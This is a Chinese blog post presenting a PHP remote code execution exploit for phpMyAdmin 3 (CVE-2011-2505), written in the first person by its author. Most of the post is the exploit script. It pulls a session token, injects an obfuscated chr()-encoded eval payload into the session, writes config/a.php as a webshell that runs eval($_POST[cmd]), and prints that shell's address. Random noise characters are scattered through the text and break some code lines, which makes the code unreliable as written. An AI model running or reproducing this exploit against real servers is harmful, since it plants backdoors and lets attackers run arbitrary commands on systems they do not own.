phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。

昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
& n" S6 @5 U6 L" P
- t% ~& q/ o, i: Q首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
) L- r) w% i' c4 g' ^, D一是session.auto_start = 1；
0 o: F" i: v/ v5 i+ i) P二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
) z# o2 J8 y/ {3 K当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
0 @5 K1 X* X7 F7 G$ P+ |, l
在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

于是写了这个php版本的exp，代码如下：
- B* V4 H$ n" K5 o
7 R4 U+ z# C) ]  M#!/usr/bin/php
<?php
: ^1 R* n4 |7 O- bprint_r('
. a  I$ h6 \" T$ L4 X7 H$ j+---------------------------------------------------------------------------+
, v7 C, d% b8 a6 q6 W  I7 npma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
/ I8 q( h/ z) U8 y. S2 Lby oldjun(www.oldjun.com)
welcome to www.t00ls.net
mail: oldjun@gmail.com
  `/ D* g( |" ZAssigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
');
$ i( j$ @/ Q9 R5 f
/**
* working when the directory:"config" exists and is writeable.
**/

if ($argc < 3) {
7 {- b  a# T/ w9 K' G    print_r('
+---------------------------------------------------------------------------+
% K$ A/ C) n7 F7 E+ WUsage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to pma3
Example:
php '.$argv[0].' localhost /pma/
# q( i# C% |7 X  g; F+---------------------------------------------------------------------------+
1 q$ u6 O. }, N( I7 x$ j# [');
    exit;
6 h( L5 q! v& W2 [9 N5 M) w}

$host = $argv[1];
7 V6 z. F- `; w) h( I0 ]$path = $argv[2];

/**
* Try to determine if the directory:"config" exists
**/
/ x7 I8 m3 g% K# Q7 Necho "[+] Try to determine if the directory:config exists....\n";
' u* \, R: C5 s' F. [$returnstr=php_request('config/');
9 @8 ~0 ]3 {. f6 c) d3 cif(strpos($returnstr,'404')){
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
  I- y- a5 m  ^/ V7 }}
+ ]5 X, F: G* o) x0 d) N! f
/**
* Try to get token and sessionid
4 G. G/ Q4 K8 u7 T4 n**/
echo "[+] Try to get token and sessionid....\n";
  ]/ B3 _/ O0 P$result=php_request('index.php');
& y* A4 Y. L" \6 L0 w0 \" V+ lpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
$sessionid=$resp[1];
if($token && $sessionid){
1 h' Y" B/ B$ f. K; P- P    echo "[+] tokentoken\n";
3 z/ j# A( X; d  q; c    echo "[+] Session IDsessionid\n";
}else{
4 L( R5 b6 v; E4 Z/ r4 B    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}

/**
4 [. a0 w% P, Q5 n1 m * Try to insert shell into session
5 `3 u+ m/ \7 O% U. n**/
echo "[+] Try to insert shell into session....\n";
& d: p% m, o5 f( s: Q; bphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.

/**
' P5 J& `; V$ T7 n * Try to create webshell
**/
# F) ]) U8 ^0 [+ m: C! T0 kecho "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
- k1 A6 n; W4 j+ R2 Z" u7 j * Try to check if the webshell was created successfully
5 J4 M' C& b4 g: Q9 i& Z**/
echo "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
1 q5 h% t* {$ ?9 d0 g: hif(strpos($content,'t00ls')){
5 K0 }1 `1 _2 p' z    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
  |3 M) ?1 _% c1 m( H" E! b}else{
% e% d4 z  T" B, x: y1 y; ?7 x6 z6 ^    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}

function php_request($url,$data='',$cookie=''){
5 P$ F0 Y8 b1 L! [    global  $host, $path;
   
* S) k4 \5 d- [6 |' Z" n    $method=$data?'POST':'GET';
( |6 i, U5 b* ^2 ^3 `# T$ |! b* m   
: ^) h+ k6 P' h5 E+ x3 d3 O    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
4 H9 P$ y" u' B3 L5 w6 Z2 W    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
8 q8 H9 e4 R. R! F; Y    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
) V; f. H8 L5 O1 ]" ?    $packet .= $data?$data:"";

    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
    echo 'No response from '.$host; die;
    }
    fputs($fp, $packet);
- w! e5 X/ h. ~+ [
- K/ s2 p: I& e7 G; q0 ]    $resp = '';
& @; E$ @' }. ]5 T: W
/ x# `3 [9 z% V) E, U, M    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
6 }/ C/ g' u2 U3 d! H}
3 w( _8 Q/ b' b, X' d$ j8 R# _   
  W; k/ o) I% `7 x' r?>
.